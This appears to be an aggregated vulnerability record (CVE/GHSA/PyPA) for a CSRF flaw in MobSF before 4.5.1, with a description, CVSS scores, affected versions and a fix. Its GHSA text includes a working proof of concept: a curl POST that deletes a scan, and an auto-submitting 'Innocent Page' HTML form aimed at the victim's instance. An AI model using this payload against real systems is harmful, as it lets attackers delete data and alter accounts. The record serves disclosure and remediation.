{"id":"CVE-2026-68923","aliases":["CVE-2026-68923","GHSA-3p54-567p-2wpr","PYSEC-2026-3688"],"related":[],"kind":"vulnerability","state":"published","title":"MobSF: CSRF checks not enforced after Django migration","summary":"MobSF is a mobile application security testing tool used. Prior to 4.5.1, mobsf/MobSF/settings.py places django.middleware.csrf.CsrfViewMiddleware only in the deprecated MIDDLEWARE_CLASSES setting and omits it from the active MIDDLEWARE tuple, allowing a remote attacker to make a logged-in victim submit cross-site POST requests to authenticated web endpoints including /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, and /delete_user/. This can delete scans, upload or download applications, change passwords, or manage users with the victim account permissions. This issue is fixed in version 4.5.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"MobSF is a mobile application security testing tool used. Prior to 4.5.1, mobsf/MobSF/settings.py places django.middleware.csrf.CsrfViewMiddleware only in the deprecated MIDDLEWARE_CLASSES setting and omits it from the active MIDDLEWARE tuple, allowing a remote attacker to make a logged-in victim submit cross-site POST requests to authenticated web endpoints including /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, and /delete_user/. This can delete scans, upload or download applications, change passwords, or manage users with the victim account permissions. This issue is fixed in version 4.5.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nDjango's `CsrfViewMiddleware` exists only in the deprecated `MIDDLEWARE_CLASSES` (ignored since Django 2.0). The active `MIDDLEWARE` tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.\n\n### Verified Impact\n\nThis was verified by **actually deleting a real scan** from the running server using only a session cookie — no CSRF token was required:\n\n```\n$ curl -s -b cookies.txt -X POST \"http://127.0.0.1:8000/delete_scan/\" \\\n    -d \"md5=68e76627798d62555d5287f4488a32c7&scan_type=apk\"\n{\"deleted\": \"yes\"}\n```\n\nThe scan was removed from the database. This attack works from any website via HTML form auto-submission because:\n- **No CSRF token is validated** (middleware absent)\n- **Cookie `SameSite=Lax`** allows form-based top-level navigation to send the session cookie\n\n### Affected Component\n\n```\nFile: mobsf/MobSF/settings.py (Lines 206-212)\n\nMIDDLEWARE = (\n    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'\n)\n```\n\n### Steps to Reproduce\n\n**1.** Start MobSF v4.4.6 and log in at `http://127.0.0.1:8000/login/` (creds: `mobsf/mobsf`).\n\n**2.** Upload and scan any APK to create a scan entry. Note the MD5 hash from \"Recent Scans\".\n\n**3.** Open the following HTML file in the **same browser** (simulates visiting attacker's page):\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Innocent Page</title></head>\n<body>\n<h1>Loading...</h1>\n<form id=\"f\" method=\"POST\" action=\"http://127.0.0.1:8000/delete_scan/\">\n  <input type=\"hidden\" name=\"md5\" value=\"PUT_REAL_MD5_HASH_HERE\" />\n  <input type=\"hidden\" name=\"scan_type\" value=\"apk\" />\n</form>\n<script>document.getElementById('f').submit();</script>\n</body>\n</html>\n```\n\n**4.** The scan is deleted. Navigate back to MobSF \"Recent Scans\" to confirm it's gone.\n\n### Why This Is Not a Self-Bug\n\n- The attack requires a **victim user** who is logged in to visit an attacker-controlled page\n- The attacker crafts the form targeting the victim's MobSF instance\n- All destructive POST endpoints are affected: `/delete_scan/`, `/upload/`, `/download_scan/`, `/change_password/`, `/create_user/`, `/delete_user/`\n- This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)\n\n### Remediation\n\nAdd `'django.middleware.csrf.CsrfViewMiddleware'` to the active `MIDDLEWARE` tuple.","format":"markdown","source":"ghsa"},{"lang":"es","text":"MobSF es una herramienta utilizada para pruebas de seguridad de aplicaciones móviles. Antes de la versión 4.5.1, mobsf/MobSF/settings.py coloca django.middleware.csrf.CsrfViewMiddleware solo en la configuración obsoleta MIDDLEWARE_CLASSES y lo omite de la tupla MIDDLEWARE activa, permitiendo a un atacante remoto hacer que una víctima autenticada envíe solicitudes POST de sitio cruzado a puntos finales web autenticados, incluyendo /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/ y /delete_user/. Esto puede eliminar escaneos, cargar o descargar aplicaciones, cambiar contraseñas o gestionar usuarios con los permisos de la cuenta de la víctima. Este problema está solucionado en la versión 4.5.1.","source":"nvd"}],"published":"2026-08-18T17:49:23.408Z","modified":"2026-10-22T22:10:00.250Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-352"],"affected":[{"ranges":[{"version":"< 4.5.1","status":"affected"}],"vendor":"MobSF","product":"Mobile-Security-Framework-MobSF","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.1"}],"ecosystem":"PyPI","package":"mobsf","purl":"pkg:pypi/mobsf","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.5.1"}],"ecosystem":"PyPI","package":"mobsf","purl":"pkg:pypi/mobsf","source":"pysec"}],"references":[{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-3p54-567p-2wpr","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/MobSF/Mobile-Security-Framework-MobSF","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/mobsf","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-3p54-567p-2wpr","tags":["advisory"],"sources":["pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68923","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-08-19T18:04:14.470Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-68923","url":"https://www.cve.org/CVERecord?id=CVE-2026-68923","licence":"CVE Terms of Use","modified":"2026-08-19T18:21:29.036Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3p54-567p-2wpr","url":"https://github.com/advisories/GHSA-3p54-567p-2wpr","licence":"CC-BY-4.0","modified":"2026-08-19T12:55:33.965Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-68923","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68923","licence":"Public domain","modified":"2026-10-22T22:10:00.250Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3688","url":"https://osv.dev/vulnerability/PYSEC-2026-3688","licence":"CC-BY-4.0","modified":"2026-08-19T12:45:05.491Z"}],"updatedAt":"2026-11-25T22:59:33.544Z","epss":{"score":0.00193,"percentile":0.09412,"date":"2026-12-01T12:00:22.000Z"}}